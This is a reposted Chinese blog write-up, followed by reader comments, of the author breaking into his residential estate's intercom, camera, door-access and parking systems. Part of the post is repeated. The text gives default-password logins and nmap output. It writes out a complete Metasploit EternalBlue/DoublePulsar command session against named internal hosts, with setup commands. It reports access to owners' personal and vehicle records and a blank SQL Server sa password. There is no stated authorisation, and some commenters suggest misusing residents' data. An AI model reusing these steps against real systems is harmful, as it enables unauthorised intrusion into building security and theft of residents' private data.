我是如何一步一步搞定小区的安防系统
无意间看到这篇文章，感觉这位师傅的渗透思路以及文采都非常值得学习，故转载到此。
文章原作者为KBdancer，首发于https://www.92ez.com/，原文链接：https://www.92ez.com/?action=show&id=23469，已联系作者并授权转载。
前言
博主从小就是一个喜欢把事情简单化的男人，但是现实总是在不经意间给你太多的惊喜，比如不停的搬家。博主从大学毕业到现在前前后后凑足了10次搬家运动，终于在第10次搬家的时候搬进了真正属于自己的房子。15年底趁着房价最低的时候捡了个漏，一咬牙买下一套两房半小居室，17年交房装修，终于在18年初计划搬进去住，博主我终于再也不用搬家了，心情愉悦，住进去之后就开始忙乎各种琐事，所以这几个月是非常的繁忙，博客也更得少，不过内容都在笔记里面，慢慢更。
博主所购的小区对自己的智能化系统宣传的很到位，所以闲下来的时候博主我就对小区的安防系统进行一次简单的渗透，轻松拿下各种安防系统，这篇文章就来详细的说明一下。
准备
开始之前，博主需要对环境进行一个简单的描述，以便大家能够在脑海中脑补一下整个渗透测试的过程，算是博主在线下渗透的一个例子吧，往后还有对整个商场各种店铺各种的渗透过程，都会一一讲解。
好了，废话就不多说了，咱们既然是对网络系统进行渗透测试，自然是得有一个入口，那这个入口在哪找呢？
大家都知道，一般小区这种内部的网络都是不直接连接到外网的，如果连那也是做了隔离，单独有一个跳板来做转发，这样相对比较安全，但是正常情况都是没外网的，这种局域网系统有两个突出的特点。
第一点就是维护人员过分的信任了内网的机器，认为只要不连接外网就基本上没事，高枕无忧，真是图样图森破。
第二点就是没有安全防护软件，就算有，那也是病毒特征库千百年不会更新，跟摆设一样，没有外网更新个毛线，这一点后面有机器可以验证。
所以具备这两个特点的内部局域网是非常脆弱的，只要找到一个入口，基本上整个网络就game over了，这个入口就非常的好找了。
众所周知，现在的小区都是家家户户安装了一个可视对讲机，这玩意有时候挺好用，比如有客人来了，楼下大门门禁可以用这玩意远程开门，可以语音对讲，可以看到对方的脸，还可以录音录像，不仅如此，还能跟家里的烟雾报警器连起来，发生火灾直接通知物业并发出警报，还可以呼叫其他住户来一个免费的局域网语音聊天，功能可以说是相当丰富了。
你猜的没错，咱们整个渗透测试过程就从这个设备开始，先来看看咱们这个厉害的可视对讲机长什么样
通过缺省弱口令进入工程模式，拿到ip地址，网关还有服务器地址
拆下对讲机
我擦嘞，这网线也太短了吧，上工具
把网线进行延长方便接交换机、路由器、笔记本之类的设备，最后确认下通讯是否正确
基本准备工作搞定之后就开始进行入侵渗透了。
扫描
根据之前撸光猫内网的经验，这里的IP地址肯定是固定的，而且跟住户号是绑定的，如果使用自己的iP地址进行测试，万一出啥问题那不是非常的尴尬，既然现在很多业主都还没有入住，那么IP地址池也有很多的空闲，就使用其他住户的IP地址吧，只要不冲突就行，说干就干，上装备：
一个充电宝、一个路由器、一台笔记本
通电后设置路由器的固定IP
这样笔记本通过无线wifi就可以对IP段进行扫描了，我这使用的扫描软件是Angry IP Scanner，图形界面用起来很爽，而且速度也快
对192.165.0.1/16进行扫描发现存活主机1256个，为了对IP地址快速分类，将存活的IP地址全部导出，编写python脚本对ip的http响应头进行分类，最终分为下面的这几类：
第一类这一类机器是所有的门禁机，包含了住户家里的对讲机，楼栋大堂的门禁机，车库电梯的门禁机，小区大门的门禁机，通过ip地址以及admin / 123456弱口令可以远程控制，同时telnet也可以连接，管理页面功能很全，包括修改密码，控制开门时间，控制门禁机密码，呼叫住户，呼叫物业中心，恢复出厂设置等等，功能丰富，界面如下
第二类这三种都是海康威视的监控探头，登录界面有以下几种
只有中间那种可以无限次输错密码进行爆破，其他两种都是输错五次就锁定
第三类这是一个网络键盘，通常用于操作监控的云台转动，比如球机的操作杆，登录界面
密码输错6次就锁定。
第四类这个就有意思了，这是车牌识别系统，车辆入库的时候进行车牌识别，拍照存储的机器，也是全部admin admin弱口令直接登录，里面存储了些啥就不多说了，放两张图大家随意感受下
通过对这几种设备的归类扫描，最终确定了几台windows服务器使用Nmap扫描结果如下很明显，四台机器都开了445端口，其中 192.165.15.174 开了1433端口，明显是sql server数据库，192.165.30.2还开了3389，这台机器是在门禁机里面见过，是门禁系统的服务器。
下面就重点对这几台机器入手，使用msf扫描下看是不是都存在smb漏洞（ms17_010），这漏洞在局域网真的超级好用，扫描截图
发现只有192.165.15.174 不存在ms17_010，其他三台都存在，操作系统分别是现在目标就非常明确了，但是有个问题，msf自带的利用模块只针对x64版本的操作系统，对于x86版本的系统只能使用其他工具，emmmmm....
一阵思考之后，博主决定先搞定那台64位win7，为了能够正常的反弹shell回来，我把路由器改成桥接模式，本机电脑设置固定IP，这样我的机器就跟目标机器处于相同网络拓扑，反弹自然无压力
so...
msf的用法我这里就不多说了，如果真不知道，可以留言...给出一张run vnc的截图，拿下监控系统
有趣的是这台机器上居然安装了360安全卫士...
注意看上面一张图的那个监控室，管理员面前有三台机器，所以另外两台我下一步就要搞定。
上面说64位win7已经拿下，现在搞定32位机器，使用 https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit 这里的Ruby脚本即可，需要注意的是如果本机是kali 64位的需要安装 wine32，安装方法是而且全程操作需要在root下面，安装完wine32后执行一下 wine32 cmd.exe 这样会自动在/root下面创建.wine目录，这个目录msf会用到
使用将脚本克隆到本地，然后把目录下的deps 目录和rb文件复制到msf的modules路径下，这样既可以使用了（PS：我这里只复制了rb脚本，deps没有复制过去所以命令不太一样），具体命令如下不出意外的话攻击就成功了，给出攻击成功的截图。
第一个是门禁系统，没装杀毒软件，就只有一些门禁卡管理软件
第二个系统是车辆管理系统，车辆出入库时候用的
总结
好了，至此，博主对小区的安防系统进行了简单的渗透测试，成功拿下关键系统，其中在服务器中还发现了大量的敏感文件，包括业主的个人信息，车辆信息，车辆出入登记信息等等，难怪说各种骚扰电话，这简直要分分钟泄露。
后记
安全是一个整体，千里之堤溃于蚁穴，下一次把门禁卡的复制破解还有自动控制升降杠的综合在一起再写一篇。
补充
在翻看磁盘文件的时候找到了车牌识别系统，在虚拟机中安装后，打开，使用sa超级用户，密码为空成功登录到文章里面提到的那台sqlserver服务器，但是由于这套系统会检测加密狗，要想正常使用可以使用ＯＤ绕过，这里就不操作了
文章原作者为KBdancer，首发于https://www.92ez.com/，原文链接：https://www.92ez.com/?action=show&id=23469，已联系作者并授权转载。
前言
博主从小就是一个喜欢把事情简单化的男人，但是现实总是在不经意间给你太多的惊喜，比如不停的搬家。博主从大学毕业到现在前前后后凑足了10次搬家运动，终于在第10次搬家的时候搬进了真正属于自己的房子。15年底趁着房价最低的时候捡了个漏，一咬牙买下一套两房半小居室，17年交房装修，终于在18年初计划搬进去住，博主我终于再也不用搬家了，心情愉悦，住进去之后就开始忙乎各种琐事，所以这几个月是非常的繁忙，博客也更得少，不过内容都在笔记里面，慢慢更。
博主所购的小区对自己的智能化系统宣传的很到位，所以闲下来的时候博主我就对小区的安防系统进行一次简单的渗透，轻松拿下各种安防系统，这篇文章就来详细的说明一下。
准备
开始之前，博主需要对环境进行一个简单的描述，以便大家能够在脑海中脑补一下整个渗透测试的过程，算是博主在线下渗透的一个例子吧，往后还有对整个商场各种店铺各种的渗透过程，都会一一讲解。
好了，废话就不多说了，咱们既然是对网络系统进行渗透测试，自然是得有一个入口，那这个入口在哪找呢？
大家都知道，一般小区这种内部的网络都是不直接连接到外网的，如果连那也是做了隔离，单独有一个跳板来做转发，这样相对比较安全，但是正常情况都是没外网的，这种局域网系统有两个突出的特点。
第一点就是维护人员过分的信任了内网的机器，认为只要不连接外网就基本上没事，高枕无忧，真是图样图森破。
第二点就是没有安全防护软件，就算有，那也是病毒特征库千百年不会更新，跟摆设一样，没有外网更新个毛线，这一点后面有机器可以验证。
所以具备这两个特点的内部局域网是非常脆弱的，只要找到一个入口，基本上整个网络就game over了，这个入口就非常的好找了。
众所周知，现在的小区都是家家户户安装了一个可视对讲机，这玩意有时候挺好用，比如有客人来了，楼下大门门禁可以用这玩意远程开门，可以语音对讲，可以看到对方的脸，还可以录音录像，不仅如此，还能跟家里的烟雾报警器连起来，发生火灾直接通知物业并发出警报，还可以呼叫其他住户来一个免费的局域网语音聊天，功能可以说是相当丰富了。
你猜的没错，咱们整个渗透测试过程就从这个设备开始，先来看看咱们这个厉害的可视对讲机长什么样
通过缺省弱口令进入工程模式，拿到ip地址，网关还有服务器地址
拆下对讲机
我擦嘞，这网线也太短了吧，上工具
把网线进行延长方便接交换机、路由器、笔记本之类的设备，最后确认下通讯是否正确
基本准备工作搞定之后就开始进行入侵渗透了。
扫描
根据之前撸光猫内网的经验，这里的IP地址肯定是固定的，而且跟住户号是绑定的，如果使用自己的iP地址进行测试，万一出啥问题那不是非常的尴尬，既然现在很多业主都还没有入住，那么IP地址池也有很多的空闲，就使用其他住户的IP地址吧，只要不冲突就行，说干就干，上装备：
一个充电宝、一个路由器、一台笔记本
通电后设置路由器的固定IP
这样笔记本通过无线wifi就可以对IP段进行扫描了，我这使用的扫描软件是Angry IP Scanner，图形界面用起来很爽，而且速度也快
对192.165.0.1/16进行扫描发现存活主机1256个，为了对IP地址快速分类，将存活的IP地址全部导出，编写python脚本对ip的http响应头进行分类，最终分为下面的这几类：
第一类
mini_httpd/1.19 19dec2003第二类
DNVRS-Webs
Hikvision-webs/
App-webs/ 只有中间那种可以无限次输错密码进行爆破，其他两种都是输错五次就锁定
第三类
Net Keybord-Webs密码输错6次就锁定。
第四类
Boa/0.94.13通过对这几种设备的归类扫描，最终确定了几台windows服务器
192.165.15.174
192.165.15.177
192.165.15.190
192.165.15.200
192.165.30.2# Nmap 7.70 scan initiated Fri May 18 23:51:30 2018 as: nmap -iL something_ip.txt -oN scaned.txt -T4 --open
Nmap scan report for 192.165.15.174
Host is up (0.063s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
2383/tcp open ms-olap4
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
Nmap scan report for 192.165.15.190
Host is up (0.046s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
Nmap scan report for 192.165.15.200
Host is up (0.030s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 192.165.30.2
Host is up (0.064s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
# Nmap done at Fri May 18 23:51:46 2018 -- 5 IP addresses (4 hosts up) scanned in 16.25 seconds下面就重点对这几台机器入手，使用msf扫描下看是不是都存在smb漏洞（ms17_010），这漏洞在局域网真的超级好用，扫描截图
发现只有192.165.15.174 不存在ms17_010，其他三台都存在，操作系统分别是
192.165.15.190 win7 sp1 x86
192.165.15.200 win7 sp1 x64
192.165.30.2 win7 sp1 x86一阵思考之后，博主决定先搞定那台64位win7，为了能够正常的反弹shell回来，我把路由器改成桥接模式，本机电脑设置固定IP，这样我的机器就跟目标机器处于相同网络拓扑，反弹自然无压力
so...
msf的用法我这里就不多说了，如果真不知道，可以留言...给出一张run vnc的截图，拿下监控系统
有趣的是这台机器上居然安装了360安全卫士...
注意看上面一张图的那个监控室，管理员面前有三台机器，所以另外两台我下一步就要搞定。
上面说64位win7已经拿下，现在搞定32位机器，使用 https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit 这里的Ruby脚本即可，需要注意的是如果本机是kali 64位的需要安装 wine32，安装方法是
dpkg --add-architecture i386 && apt-get update && apt-get install wine32使用
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.gitmsf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(windows/smb/eternalblue_doublepulsar) > set ETERNALBLUEPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
ETERNALBLUEPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set DOUBLEPULSARPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
DOUBLEPULSARPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT wlms.exe
PROCESSINJECT => wlms.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > show targets
Exploit targets:
Id Name
-- ----
0 Windows XP (all services pack) (x86) (x64)
1 Windows Server 2003 SP0 (x86)
2 Windows Server 2003 SP1/SP2 (x86)
3 Windows Server 2003 (x64)
4 Windows Vista (x86)
5 Windows Vista (x64)
6 Windows Server 2008 (x86)
7 Windows Server 2008 R2 (x86) (x64)
8 Windows 7 (all services pack) (x86) (x64)
msf exploit(windows/smb/eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost
set rhost
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.165.15.190
rhost => 192.165.15.190
msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.165.7.11
lhost => 192.165.7.11
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit第一个是门禁系统，没装杀毒软件，就只有一些门禁卡管理软件
第二个系统是车辆管理系统，车辆出入库时候用的
总结
好了，至此，博主对小区的安防系统进行了简单的渗透测试，成功拿下关键系统，其中在服务器中还发现了大量的敏感文件，包括业主的个人信息，车辆信息，车辆出入登记信息等等，难怪说各种骚扰电话，这简直要分分钟泄露。
后记
安全是一个整体，千里之堤溃于蚁穴，下一次把门禁卡的复制破解还有自动控制升降杠的综合在一起再写一篇。
补充
在翻看磁盘文件的时候找到了车牌识别系统，在虚拟机中安装后，打开，使用sa超级用户，密码为空成功登录到文章里面提到的那台sqlserver服务器，但是由于这套系统会检测加密狗，要想正常使用可以使用ＯＤ绕过，这里就不操作了
关于作者
评论90次
这篇文章看过！不过我家的是那种电话线的 只能接听电话！
万能弱口令
弱口令真的yyds啊
不知楼主小区车位是出租的不？是不是也可以搞个免费的车位
这个可以试一试，等搬了新家
这篇文章看过！不过我家的是那种电话线的 只能接听电话！
这个思路有点小骚气。可以可以。不过我在大学有个类似的经历 是宿舍楼的电费查询机 也是通过网线口日过去的。不说了
思路是真的牛逼，搞得我也想去试试。
渗透高手呀，思路确实很厉害，尤其是漏洞利用方面
想问一个问题，这种的远程看他的桌面，本地机器会有提示或者什么没
把网线直接插电脑是不是就不用路由器设置了？
内部攻击，还真的难防
思路是真的新，感谢大佬分享，家里的可视电话可以试一波了
加密狗 od绕过是什么啊，能说下吗
羡慕买房大佬，这个对讲机接锅。
基于小区的基础数据业主姓名 --- 楼层房间 --- 手机号 --- 车牌号（汽车品牌）--- 可能的性(sex)别年龄。。。进一步数据分析，你可能会多个xyz的机会，23333
一言不合就开车
基于小区的基础数据 业主姓名 --- 楼层房间 --- 手机号 --- 车牌号（汽车品牌）--- 可能的性(sex)别年龄。。。 进一步数据分析，你可能会多个xyz的机会，23333
最怕身边有黑客，分分钟被曝光啊哈哈哈。
这个文章好像见过呀
拆机器，夹网线、玩路由器、扫ip、弱口令、ms17_010、msf、拿下监控xi统、拿下门禁xi统、拿下车辆管理xi统一气合成，简直666
这个刺激 直接撸小区 也算半个物业人员了